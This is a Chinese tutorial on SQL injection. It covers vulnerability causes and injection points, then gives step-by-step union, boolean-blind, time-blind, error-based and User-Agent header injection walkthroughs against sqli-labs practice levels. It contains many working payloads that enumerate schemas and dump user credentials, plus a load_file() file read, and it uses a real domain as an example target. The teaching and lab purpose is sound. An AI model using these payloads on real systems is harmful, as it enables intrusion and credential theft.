SQL注入-概述
什么是sql注入漏洞?
攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据
库系统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而
实现对后台数据库乃至整个应用系统的入侵。
SQL注入原理
服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全。
SQL注入条件
1 用户能够控制输入
2 原本程序要执行的SQL语句,拼接了用户输入的恶意数据
注入过程
sql注入漏洞形成原因
1.动态字符串构建引起
①不正确的处理转义字符(宽字节注入)
有些网站为了防止用户判断sql注入点 会将用户输入的单引号'前增加一个转义符\ 对单引号进行转义 变成一个普通字符 不会与服务器端的单引号形成闭合关系
针对这种机制 有些黑客脑洞大开 如果数据库或者应用程序对于字符编码方式为GBK
很多字符通过多字节方式进行编码的 如果在\前面加加入%df 得到%df\ 在GBK编码方式下会变成一个汉字 这样一来\就变成了汉字 单引号相当于逃逸了出来 和服务器中的固定代码的单引号进行结合 这种方式称为宽字节注入 不正确的处理转义字符造成的
②不正确的处理错误(报错泄露信息)
数据库中通常会有报错函数 这个报错函数 原本是为了方便程序员调试程序 观察错误原因 比如输入的命令中出现了一个错误的字符 这个时候通过报错函数 可以提醒程序员 但是呢报错函数也有可能被黑客用来作为注入的手段 因为可以构造一些信息 故意让数据库报错 从报错信息中提取关键信息
比如提取数据库类型 数据库型号 甚至可以得到数据库中存放的数据
③不正确的联合查询
sql语法中 有个命令是union 他可以进行联合查询 可以构造语句 使联合查询的语句和正常输出的语句拼接 一起输出 前提是 原列的数量与union查询的数量相等 这样就迫使页面返回管理员不期望得到的结果 对union没有过滤机制的话 很有可能造成一些注入漏洞
④不正确的处理多次提交(二次注入)
第一次提交的时候 虽然语句精心构造 但是前端有防御机制 语句被写入数据库中了 没有引发SQL注入攻击 但是这时数据库已经把提交的语句存储到了数据库中了 等别的用户从数据库中读取的时候 这个时候如果读取的时候没有防御机制的话 就有可能造成二次注入
2.后台存在的问题
后台无过滤或编码用户数据
数据库可以拼接用户传递的恶意代码
3.错误处理不当
详细的内部错误消息显示给用户或攻击者
错误信息可以直接给攻击者提供下一步的攻击帮助
4.不安全的数据库配置
默认账户
sql server "sa" 作为数据库系统管理员账户
MySQL使用 root 和anonymous 用户账户
Oracle 则在创建数据库是通常默认会创建SYS SYSTEMS DBSNMP 和 OUTLN账户
5.权限
问题 系统和数据库管理员在安装数据库服务器时允许roots SYSTEM或 Administrator特权系统用户账户身份执行操作
正确方法 应该始终以普通用户身份你运行服务器上的服务 降低用户权限 将用户权限只限于本服务
SQL注入带来的危害
- 绕过登录验证:使用万能密码登录网站后台等
- 获取敏感数据:获取网站管理员帐号、密码等
- 文件系统操作:列目录,读取、写入文件等
- 注册表操作:读取、写入、删除注册表等
- 执行系统命令:远程执行命令
sql 注入分类
按照数据型分类
- 数字型(整型)注入
输入的参数为整数 如:id 年龄 页码 如果存在注入型漏洞 则为数字型(整型)注入
http://www.baidu.com/user.php?id=1
实际查询代码原型类似于 select ... from ... where id=$id...
数字型注入测试方法
http://www.baidu.com/user.php?id=3' 返回错误,未对单引号做处理(多了一个' 语法错误)
http://www.baidu.com/user.php?id=3 and 1=1 运行正常
http://www.baidu.com/user.php?id=3 and 1=2 运行异常
- 字符型注入
与数字型注入的区别在于:字符型的注入一般要使用单引号来闭合
http://www.baidu.com/user.php?user=admin
际查询代码原型类似于 select ... from ... where user='$user'...
字符型注入测试方法
http://www.baidu.com/user.php?user=admin' 返回错误(多了一个' 语法错误)
http://www.baidu.com/user.php?user=admin' --+ 运行正常
http://www.baidu.com/user.php?user=admin' and '1'='1 运行正常
http://www.baidu.com/user.php?user=admin' and '1'='2 运行异常
解释:为什么注释 -- 要写成+ 注释语法格式 --空格 但是空格大概率会被url去除 从而导致语法错误 所以要写加上一个+号 +号到后面会被转换成空格
- 搜索型注入
这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在连接地址中有"keyword=关键字",有的不显示链接地址,而是直接通过搜索框表单提交。
此类注入点提交的sql语句原型大概为:select * from 表名 where 字段 like '%关键字%'
当我们提交注入参数为keyword='and[查询条件] and '%'=',则向数据库提交的sql语句为:select * from 表名 where 字段 like '%' and [查询条件] and '%'='%'
按照注入技术(执行效果)分类
- 基于布尔的盲注:可以根据返回页面判断条件真假的注入
- 基于时间的盲注:不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 基于报错的注入:即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中
- 联合查询注入:可以使用union的情况下的注入
- 堆查询注入:同时执行多条语句的注入
sql注入简单示例
- 通过在用户名处传入参数' or 1=1 -- 进行万能密码登录
SELECT username,password FROM users WHERE username='textvalue1' or 1=1 -- 'AND password='textvalue2'(-- 后面有一个空格)
输入的参数值为:
usr=' or 1=1 --
pwd=anything
实际查询代码
SELECT * FROM users WHERE username= '' or 1=1 -- 'AND password='anything'
- 判断一个HTTP请求是否存在SQL注入的方式
and 1=1 | and 2>1 | or 1=1 | or 1<1 (and 一假则假 or 一真则真)
sleep(4)=1 | length(user())>3
单引号' 双引号"
注入点位置
1,GET方法
注入点在url中 动态参数在url中
一种请求服务器的HTTP方法 也就是获取资源的方法 使用该方法时 信息包含在URL中
点击一个链接时 一般会使用该方法
GET请求方法的格式
?test=value1&cat=value2&num=value3... (num cat test 属于动态参数)
修改方法
浏览器的导航栏中直接修改即可操纵这些参数
HackBar插件
2,POST方法
注入点在表单中 动态参数在表单中
POST是一种用于向web服务器提交信息的HTTP方法
数据信息无法再URL中看到
可以发送字节大的数据
消息存放在报文的请求体中 由于在POST表单当中 所以数据信息无法再url中查看到
POST相较于GET 安全性高 传递的消息在表单中 无特殊工具 是看不到表单中的信息
Hackbar需要点击post data 由于使用表单提交数据 无法直接看出动态参数名 所以先使用F12查看 在源码中查看动态参数名
burpsuite直接就能抓取到表单信息 直接就能显示动态参数名 无语额外操作
3,HTTP头部
如果数据会要对头部信息提取数据 就有可能造成sql注入
Cookie
Host
User-Agent
关于注入点的总结
只要后台接收前端输入的数据 并且未对数据进行过滤处理 最后直接进入到数据库中 从而都能构成威胁
SQL注入-数据库基础/SQL语法
1.1 数据库
数据库(DataBase,DB):存储在磁带 磁盘 光盘或其他外存介质上,按照一定结构组织在一起的相关数据的集合
数据库管理系统(DataBase Management System,DBMS):一种操纵和管理数据库的大型软件 用于建立,使用和维护数据库
数据库系统(DataBase System,DBS):由数据库和数据库管理系统组成
简单来说 数据库存放数据 ,数据库管理系统操作数据 他们的集合为数据库系统
网站体系结构
1.2 了解 ACID 理论
ACID 理论是定义数据库管理系统 (DBMS) 中事务的可靠性和一致性的四个关键特征。首字母缩略词 ACID 代表原子性、一致性、隔离性和持久性。以下是对每个属性的简要说明:
原子性 (Atomicity)
原子性确保事务被视为一个单一的、不可分割的工作单元。事务中的所有操作要么都成功完成,要么都没有。如果事务的任何部分失败,则整个事务将回滚到最初的状态,以确保数据的一致性和完整性。
一致性(Consistency)
一致性确保事务将数据库从一种一致状态带到另一种一致状态。数据库在事务执行前后都处于一致状态。换句话说,数据库在整个事务过程中保持一致,并且强制执行所有约束和规则,这可确保数据始终准确且最新。
隔离性(Isolation)
隔离确保多个事务可以并发执行且独立,而不会相互干扰。每个事务在完成之前必须与其他事务是隔离开来的。一个事务的结果不会影响另一个事务的结果,这种隔离可以防止脏读、不可重复读和幻读。
持久性(Durability)
持久性确保一旦事务被提交,就永久记录在数据库中,不可撤销。这意味着即使在系统出现故障的情况下,数据仍然是安全的并且可以恢复。
ACID 理论对于确保了 DBMS 和分布式系统的可靠和一致的数据管理至关重要。通过理解原子性、一致性、隔离性和持久性的概念,开发人员可以设计出既健壮又可扩展的分布式数据库系统。即使存在系统故障、网络问题或其他问题,这些特性能保障系统数据一致性、完整性和可靠性。
1.3 识别数据库
Oracle:1521
MySQL:3306
SQL Server:1433
PostgreSQL:5432
monggoDB:27017
Redis:6379
MemcacheDB:11211
识别数据库方法通过报错信息可进行识别
各数据库与网页编程语言的搭配
常见的搭配
ASP和.NET:Microsoft SQL Server
PHP:MySQL/PostgreSQL
Java:Oracle/MySQL
二,SQL 语法基础
数据定义(Create Drop)
数据操纵(Select Insert Update Delete)
数据控制(Grant Revoke)
- CREATE :创建新的表 视图或其他数据库中的对象
- ALTER:修改当显得数据库对象 比如一张表
- DROP:删除表 视图或者数据库的其他对象
- SELECT:从表中搜索数据
- INSERT:创建一条新记录
- UPDATE:修改记录
- DELETE:删除记录
- GRANT:赋予用户特权
- REVOKE:收回用户特权
三,SQL语句实例
3.1 SQL基础语句
CREATE
创建数据库 并启用数据库
CREATE DATABASE testdb;
use testdb;创建数据库表以及表内的列
CREATE TABLE offices (officeCode INT,city VARCHAR(10),phone INT,addressLine VARCHAR(20));
INSERT
向表中添加数据
INSERT INTO offices (officeCode, city, phone, addressLine) VALUES (1, 'japan', 12345678, 'addressLine1');
INSERT INTO offices (officeCode, city, phone, addressLine) VALUES (2, 'Germany', 123456789, 'addressLine2');SELECT
查询当前表内容
select * from offices;
UODATE
修改表中数据 并查询结果
UPDATE offices SET city='China' WHERE officeCode=1;DELETE
删除表中某条数据并查询结果
DELETE from offices where officecode=8;
3.2 SQL高级语句
当前数据库中offices表内容
排序 order by
SELECT * FROM offices ORDER BY phone;
分组 group by
先排序后分组 必须要有聚合函数 sum() count() avg()来配合才能使用
SELECT city,COUNT(*) FROM offices GROUP BY city;
限定条数 limit
第一个参数是偏移量 第二个参数是数目
SELECT * FROM offices limit 0,3;
SELECT * FROM offices limit 1,4;联合查询 union select
SELECT * FROM offices UNION SELECT 1,2,3,4;
多种条件执行顺序
首先通过group by 进行分组 再通过HAVING筛选 筛选条件为:每组price的累加的值大于100
最后通过order by 对累加值 进行排序 最后输出查询结果
四,基于SQL注入理解语法/函数
4.1 语法
ORDER BY
如果 列表字段有 id user phone 三个字段
SELECT * FROM offices ORDER BY 1;查询该表所有字段 通过第一列officeCode排序
SELECT * FROM offices ORDER BY 2;查询该表所有字段 通过第二列city排序
SELECT * FROM offices ORDER BY 3;查询该表所有字段 通过第三列phone排序
SELECT * FROM offices ORDER BY 4;查询该表所有字段 通过第四列addressLine排序
SELECT * FROM offices ORDER BY 5;
如果 查询第五个不存在的字段 就会报错 通过这一点也能判断出 该表有几个字段
UNION SELECT
在联合查询中 通过构造语句 可直接否认之前的查询 执行通过union后查询的语句
在使用 UNION 运算符进行联合查询时,两个 SELECT 语句的列数、数据类型和顺序必须严格匹配。这是因为 UNION 会将两个查询的结果合并在一起,并去除重复的行,如果两个 SELECT 查询返回的列不匹配,数据库就无法正确执行这个操作。
需要注意的是查询的列应当和之前对应( 因为原查询语句与union查询的四个值的结果集合并 所以原字段有4个 联合查询必须也要有4个位置的值)可以理解为通过union可以猜字段数 如果查询的数量与列数相等了才会输出 否则报错
select * from offices where officeCode=1 and 1=1 union select 1,2,3,4;
使用and 一假则假的方式 否认union前查询语句 否认后 执行union后的查询语句 查询内容输出到每一个列名下 每一个联合查询值要对应一个列
select * from offices where officeCode=1 and 1=2 union select 1,2,3,4;
知道列名后 就可以通过联合查询把相应列的值暴出来 (说是知道列名就行 但是我看查询语句必须在后面输入表名)
select * from offices where officeCode=1 and 1=2 union select city,2,3,4 from offices;
4.2 函数
exists()
通过exists()函数猜解表名
该函数用于检查子查询是否至少会返回一行数据 实际上不返回任何数据 而是返回True或者False
select * from offices where city="china" and exists(select * from offices);
select * from offices where city="china" and exists(select * from officess);load_file()
结合load_file()读取服务器文件内容
select * from offices where officeCode=1 and 1=1 union select 0,0,0,load_file("D:/test.txt") from offices;
我这个没读取到 不知道什么原因估计是mysql配置的原因 靶场都是正常成功的
五,目录数据库infomation_schema
在mysql 5.5以上版本中自带 infomation_schema数据库 保存着该服务器维护的所有数据库 表 列信息等等
通过联合查询暴所有数据库
通过联合查询 暴testdb数据库的所有表
select * from offices where city="china" and 1=2 union select table_name,table_schema,0,0
from information_schema.tables where table_schema="testdb" ;
SQL注入-SQL注入过程
手工注入过程
(1) 判断是否存在注入点;
(2) 判断字段长度(字段数);
(3) 判断字段回显位置;
(4) 判断数据库信息;
(5) 查找数据库名;
(6) 查找数据库表;
(7) 查找数据库表中所有字段以及字段值;
(8) 猜解账号密码;
(9) 登录管理员后台;
以sql-labs less-2举例
会有提示 请输入ID作为数值参数
Please input the ID as parameter with numeric value
id=1-12 都会返回值 也就是相当于该id列 共有12个值 1-12
(1) 判断是否存在注入点;
三步
?id=1' 报错数据库错误
?id=1 and 1=1 成功
?id=1 and 1=2 失败
通过这三点就可以看出 存在注入点并且注入点在url中 属于GET数字型注入点
(2) 判断字段长度(字段数);
使用order by排序进行判断
?id=1 and 1= 1 order by 1 对第一列排序 正常显示
?id=1 and 1= 1 order by 2 对第二列排序 正常显示
?id=1 and 1= 1 order by 3 对第三列排序 正常显示
?id=1 and 1= 1 order by 4 对第四列排序 错误显示:Unknown column '4' in 'order clause'
判断出 对前三列排序都是正常显示 对第四列排序显示错误:第四列未知
使用 union 联合查询进行判断
?id=1 and 1= 1 union select 1 错误显示
?id=1 and 1= 1 union select 1,2 错误显示
?id=1 and 1= 1 union select 1,2,3 正常显示
?id=1 and 1= 1 union select 1,2,3,4 错误显示
判断出 联合查询为3列的时候能与原列数进行拼接 否则报错原因为:所使用的SELECT语句具有不同数量的列
通过以上两种方法可以判断出 该表的字段数为3
(3) 判断字段回显位置;
目前知道有三个字段 但是只回显了两个字段的值 我们应该判断哪些字段是隐藏的 哪些字段是回显出来的
使用and否定前面的查询 使数据库执行union后的查询语句
已知三个字段 给联合查询 三个常量值 1,2,3进行判断哪些字段显示出来了
?id=1 and 1= 2 union select 1,2,3
回显的值为2和3,表示 能显示的位置为2号位和3号位也就是2字段和3字段,那么第1个字段就是隐藏位,从这个信息我们就可以的到下一步,如果我们设计payload的时候,我们希望把payload放到2号位和3号位的位置,只有这样我们才能够看到payload的返回结果(如果payload放到1号位 虽然也能执行 但是无法看到执行结果)
(4) 判断数据库信息;
获取服务器所有数据库
从目录数据库中进行查找 存放着MYSQL所有的数据库,表,列的名(上面提到过 这个目录数据库的数据库名 目录数据库的表名 目录数据库中表的列名都是固定的)(只演示获取数据库)
?id=1 and 1= 2 union select 1,2,schema_name from information_schema.schemata
schema_name
列有很多个值 但是3号位只能显示第一个值 只能显示第一个数据库的名
使用group_concat()函数聚合函数把当前列所有值连接成字符串 从而返回一个结果集 返回当前服务器存在的所有数据库
?id=1 and 1= 2 union select 1,2,group_concat(schema_name) from information_schema.schemata
5 获取当前网站的数据库
?id=1 and 1= 2 union select 1,2,database()
获取到网站数据库名security了 就开始获取security内的表了
(6) 查找数据库表;
?id=1 and 1= 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
到这我们认为users可能存放着敏感信息于是查询users表中字段名以及字段值
(7) 查找数据库表中所有字段以及字段值;
查询users字段名
?id=1 and 1= 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
查询每个字段的值
现在已经知道数据库为security表位users 就不需要目录数据库了
使用concat_ws()函数 将每个字段的值以逗号分开结合成字符串
如果不是用该函数3号位只能显示1个字段的一个值 使用后3号位能显示3个字段的3个值
使用limit逐行显示 不使用注释会报错 大概率是与服务器的固定部分语句冲突等原因
?id=1 and 1= 2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --
前7步已经得到想要的结果了账号密码了 (8) 猜解账号密码 略过
当前靶场无登录界面 所以 (9) 登录管理员后台;略过
以上七步的所有结果后不确定是否正确
登录靶机的mysql中 查看security数据库users表中的内容进行验证 发现完全一致
SQL注入-盲注
SQL盲注概述:
SQL盲注简介
在注入过程中 SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试 从而确定想要的到的答案,这个过程称为盲注
在盲注中,攻击者根据返回页面的不同来判断信息的正确性(可能是页面内容的不同,也有可能是响应时间不同)。一般情况下,盲注可以分为两类;
基于布尔的盲注;基于时间的盲注
基于布尔的盲注:
页面返回的结果只有两种(正常或者错误)。通过构造SQL判断语句,查看页面返回结果(True/False)来判断哪些SQL判断条件成立,从而获取到数据库中的数据。
基于时间的盲注:
页面的返回结果只有一种。使用具有延时功能的函数sleep,benchmark等,通过延时判断这些函数是否正常实行从而获取数据库的数据
盲注不确定性太高使用二分法提高效率
SQL盲注常用函数
if():条件判断语句
判断网站是否存在盲注的点 就要才要特殊的机制了 不能向正常方式的直接进行查询虽然能执行成功 但是没有任何回显 得不到查询的答案 导致不确定是否存在sql注入点 所以要使用条件语句 判断执行结果是否正确
left(str,length) 截取指定字符串的左边部分
length(str):返回字符串长度
substr(str,post,len),substring(str,post,len) 截取字符串指定长度的子串
ascli(str) ord(str) 返回字符串最左边字符的 ASCII值
cast(value as type)convert(value,type) 更换指定数据的类型
sleep(N) 延时函数
select benchmark(N,expr) 执行expr N次
SQL盲注实例:
基于布尔的盲注实例
目标靶机:SQLi-Lab的less-8
典型应用场景:web页面仅仅返回类似True或者False的两种结果
注入方式:进行SQL注入之后,根据页面返回的True或者是False来得到数据库中的相关信息
?id=1 有回显you are in
?id=1' 无回显
?id=1' and '1'='1 有回显you are in
?id=1' and '1'='2 无回显
?id=1' --+ 有回显you are in
我们可以做出一个规定 有you are in为语句正确 无显示为语句错误
通过以上判断该关为 GET字符型注入点
?id=1' union select 1,2,3 --+
成功执行显示you are in 但是看不到具体的值 无法将值回显出来 所以无法使用联合查询
所以要构造条件判断语句
判断数据库长度
?id=1' and length(database())>5 --+ 成功执行
?id=1' and length(database())>7 --+ 成功执行
?id=1' and length(database())>8 --+ 失败执行
?id=1' and length(database())=8 --+ 成功执行
通过and 构造 条件判断语句 判断数据库名的长度为8
判断数据库名
使用 substr()函数判断数据库名
?id=1' and (select substr(database(),1,1))='a' --+
?id=1' and (select substr(database(),1,1))='b' --+
....
?id=1' and (select substr(database(),1,1))='s' --+
逐个测试s为数据库第一个单词
?id=1' and (select substr(database(),2,1))='a' --+
?id=1' and (select substr(database(),2,1))='b' --+
....
?id=1' and (select substr(database(),2,1))='e' --+
逐个测试e为数据库第二个单词
依次类推求出数据库名 但是效率特别低
于是substr()联合ascii()使用二分法 求数据库名
?id=1' and ascii((select substr(database(),2,1))) >97 --+
?id=1' and ascii((select substr(database(),2,1))) >100 --+
采用二分法大大提高效率
求出数据库为security
判断数据库的所有表
?id=1' and ascii((select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))) > 97 --+
limit,substr(),ascii联用使用二分法 逐个字母判断每张表 表名
插一句如果判断表/字段的长度 可以不使用length 修改substr第二个参数 也能发现长度大小
?id=1' and ascii((select substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),6,1))) > 0 --+
发现有张users表
判断user表的字段
?id=1' and ascii((select substr((select column_name from information_schema.columns where table_schema = 'security' and table_name='users' limit 0,1),1,1)))>97 --+
limit,substr(),ascii联用使用二分法 逐个字母判断users表字段名
有 id,usernaem,password三个字段
判断每个字段的值
目前已知数据库名 表名 以及字段名
?id=1' and ascii((select substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1))) > 0 --+
逐个判断字段值
基于时间的盲注实例
目标靶机:SQLi-Lab的less-9
典型应用场景:web页面只有一种返回结果
注入方式:利用插入的SQL语句造成时间延迟,若延迟函数被成功执行(页面反应时间增加),则所查询的信息正确
前提已经知道了 为GET字符型注入
?id=1
?id=1'
无论sql语句正确或者错误 返回结果都是一样的
于是采用if条件语句与时间函数进行联用
判断数据库长度
?id=1' and if(length(database())=7,sleep(2),1) --+ 无延时
?id=1' and if(length(database())=8,sleep(2),1) --+ 有延时
执行语句后 页面加载时间明显变长
去掉注释 执行无延迟 也能判断出这是字符型注入
?id=1' and if(length(database())=8,sleep(2),1)
重复测试得到长度为8
判断数据库名
使用ascii,substr,sleep,if 联用 使用二分法进行逐个字母判断
?id=1' and if((ascii(substr(database(),1,1))) > 0,sleep(2),1) --+ 有延时
重复测试得出数据库名为security
判断数据库security的表名
使用ascii,substr,sleep,if limit 联用 使用二分法逐个字母判断
?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))) >0 ,sleep(2),1) --+ 有延时
和上面区别就是 substr前加了select 一个意思
?id=1' and if((ascii((select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得出多个表 选取users表进行下一步
判断users表内字段名
同上方法
?id=1' and if((ascii((select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得到 id,username,password三个字段
判断字段的值
?id=1' and if((ascii((select substr((select concat_ws(',',id,username,password) from security.users limit 0,1),1,1)))) >0 ,sleep(2),1) --+ 有延时
重复测试得到字段值
SQL注入-报错注入
一,sql报错注入概述:
原因
通过构造特定的sql语句,让攻击者想要查询的信息(数据库名 版本号 用户名等)通过页面的错误提示回显出来
报错注入的前提条件
- web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上:print_r(mysql_error());
- 后台未对一些具有报错功能的函数(如extractvalue,updatexml等)进行过滤
二,报错注入函数:
extractvalue()
Xpath类型函数(MySQL数据库版本号>=5.1.5,对XML文档进行处理的函数)
作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue( XML_document,XPath_string)
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/...这种格式,如果写入其他格式就会报错并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx'
实例
mysql> select extractvalue(1,concat("~',user()));
ERROR 1105 (HY000): XPATH syntax error:'~root@localhost'
注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示大白话理解:
extractvalue( XML_document,XPath_string)
XML_document:XML文档名
XPath_string:指定路径 Xpath格式的字符串 也就是说该位置必须是路径的格式
该函数在制定目录下查找指定XML文件 如果查询到输出XML文件内容
举例
select extractvalue(1,concat('~',database()));
1代表XML文件名
通过concat拼接字符串 ~和database()的结果为路径
因为~符号在路径中是违法符号 所以会报错 报错内容为:~database()的结果
updatexml()
Xpath类型函数(MySQL数据库版本号>=5.1.5)
作用:改变文档中符合条件的节点的值。
语法:updatexml( XML_document, XPath_string, new_value)
参数1:XML_document是String格式,为XML文档对象的名称
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方
参数3:new value,String格式,替换查找到的符合条件的数据
报错原理:同extractvalue()
举例
mysql> select updatexml(1,concat('~',user()), 1);
ERROR 1105 (HY000):XPATH syntax error: '~root@localhost'
注:该函数最大显示长度为32,超过长度可以配合substr、limit等函数来显示
floor()、rand()、count()、group by联用
报错SQL语句
- select count(*),(concat(floor(rand(0)*2),(select database())))x from user group by x;
报错sql语句分析
- concat将floor(rand(0)*2)和 select version() 进行拼接
- floor向下取整
- rand(0) 随机获取0-1之间的一个浮点数
- rand(0)*2 获取的数乘2 相当于随机获取0-2之间的一个浮点数
- (concat(floor(rand(0)*2),(select version())))x x为(concat(floor(rand(0)*2),(select version())))的别名
- group x 对别名进行分组
- count(*) 与分组group联用 获取某一分组(字段)的记录数
- rand 每次取一个值 一共取几次通过图就能得知取决于表的行数 记录数
报错原因
可以看到出现报错信息,这个主键重复
首先要了解一个特性,就是rand()函数的一个特性
这个特性就是 rand()函数的执行速度要比 group by查询并插入key值的速度更快
首先我们讲了当group by和count(*)一起用时,会生成一个虚拟表,记录key和count(*),字段作为key来统计数据,但是在这个报错的语句中,我们使用的是group by floor(rand(0)*2),
floor(rand(0)*2)作为分组的字段
floor(rand(0)*2)函数演示
select floor(rand(0)*2) from user;
按照group by语句的流程
- 1、首先将floor(rand(0)*2)的第一次执行结果,也就是0带入虚拟表的key中查询是否存在
- 2、此时不存在,所以会将此时的floor(rand(0)*2)的结果插入虚拟表中
- 3、但是不要忘了rand()函数的特性, rand()函数执行是比group by语句查询并插入key值更快的,也就是floor(rand(0)*2)执行了一次后,就被带去查询,此时floor(rand(0)*2)仍在执行,等查询完确认虚拟表中没有0这个key后,就将floor(rand(0)*2)此时的结果插入虚拟表
- 4、但此时floor(rand(0)*2)已经执行完第二遍了,结果为1,就导致了 带去查询的数据为0,但插入的数据却为1,对应的count(*)也为1,此时虚拟表如下
- 5、接着 floor(rand(0)*2)第三次执行,结果为1,group by也遍历到了第三个结果,也就把1带入虚拟表中的key值去查,发现存在“1”这个key值,所以直接在该key值对应的count(*)加1,也就是计数,注意这里并不需要插入操作,所以floor(rand(0)*2)的第四次执行还没有完成
- 6、接着 floor(rand(0)*2)第四次执行完成,结果为0,group by语句带0进入虚拟表key中查询,发现没有这个key值,所以将此时的floor(rand(0)*2)结果插入虚拟表,但是,因为rand()函数的特性,插入还没完成之前,floor(rand(0)*2)第五次执行结果已经完成,结果为1,所以导致带入查询的数据为0,插入的数据却为1,此时虚拟表如下
group by 分组时 分组的字段作为主键
这样就导致出现了上面报错信息中的问题——主键重复
举例
mysql> select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a;
ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
其它函数
exp() (5.5.5<=MySQL数据库版本号<=5.5.49)
作用:计算以e(自然常数)为底的幕值
0 语法:exp(x)
报错原理:当参数x超过710时,exp()函数会报错,错误信息如:DOUBLE value is out of
range:......
实例
mysql> select exp(~(select * from (select user()) as x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select 'root@localhost'from dual))"
三,SQL报错注入实例:
extractvalue()
目标靶机:SQLi-Lab的less-1
要求:利用具有报错功能的函数实现注入,获取users表中存储的用户名和密码
sql-less1不使用union注入的方式 为了演示报错注入使用报错注入方式直接从第5步开始
已知:节省时间 按照上面sql流程的步骤 得知less-1为GET字符型SQL注入方式,
报错函数不需要知道字段数以及回显位置的
查找数据库名;
?id=1' and extractvalue(1,concat('~',database())) --+
得知当前数据库的名称为security
查看所有数据库
?id=1' and extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))) --+
使用group_concat的方式显示不全 只能使用limit的方式逐行显示
?id=1' and extractvalue(1,concat('~',(select schema_name from information_schema.schemata limit 2,1))) --+
查找数据库表;
?id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema='security' limit 1,1))) --+
发现有个users表
查找数据库表中所有字段以及字段值;
查看users表中字段
?id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_name='users' limit 3,1))) --+
查看users表中字段的值
目前已知 当前数据库 数据表 以及表内字段名 无需使用目录数据库了
?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1))) --+
floor()、rand()、count()、group by联用
create table user(id int(11) not null auto_increment primary key,name varchar(20) not null,pass varchar(20) not null);
INSERT INTO user (name, pass) VALUES ('admin', MD5('admin')), ('guest', MD5('guest'));
报错语句
?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))as a from information_schema.tables group by a)x) --+
注意
1 使用两层select查询
解释原因
2 里层有别名 外层也要有别名
原因是因为在MySQL中,子查询作为派生表使用时必须要有一个别名。这是为了让MySQL能够对子查询进行引用。因此,给子查询加上别名x是必须的。
HTTP Header概述
HTTP工作原理
HTTP请求方法
HTTP报文类型
请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-LIne),请求头域(Header-Field)和请求体(Entity-Body)。
响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-LIne),响应头域(Header-Field)和响应体(Entity-Body)。
请求报文组成
请求报文实例
响应报文组成
HTTP响应报文实例
HTTP响应消息状态码
HTTP Header部分内容
- X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或某文件,通过修改XFF头可以实现伪造IP)。
- Client-IP:同上。
- Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。
- User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)。
- Cookie:网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)。
- Host:客户端指定自己想访问的Web服务器的域名/IP地址和端口号
SQL注入-HTTP头注入
HTTP Header注入
HTTP Header注入概述
有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者
通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,通过SQL语言保存到数据库中 或者 直接提取跟数据库中的信息进行比对 由于sql语言的介入如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。HTTP Header注入的前提条件
- 能对请求头消息进行修改
- 修改的请求头信息能够带入数据库执行
- 数据库没有对输入的请求头过滤
常见注入类型
Cookie注入 :服务器对cookie字段进行获取 验证客户端身份
Referer注入:服务器记录referer字段用于统计网站的点击量
User-Agent注入 服务器记录访问者的信息 如浏览器版本 操作系统版本等,服务器根据提供的信息来给客户端推送不同的网页
XFF注入:一些网站的防注入功能会记录客户端真实ip地址并写入数据库
HTTP Header注入实例
目标靶机:SQL-Lab的less-18
典型应用场景:服务器获取User-Agent头部字段值,并用Insert命令将其写入数据库
注入方式:利用Burpsuite抓包,在User-Agent头部字段设置注入payload
分析源码发现虽然动态参数没有注入点 但是服务器将HTTP头部的useragent字段插入到数据库中了 于是修改useragent字段值为构造的sql语句
抓包判断注入点 在user-agent后添加一个单引号
服务器响应 ,语法有错误 并且也确定了sql报错有回显 服务器的数据库报错函数没有被屏蔽
能判断出该字段存在注入点
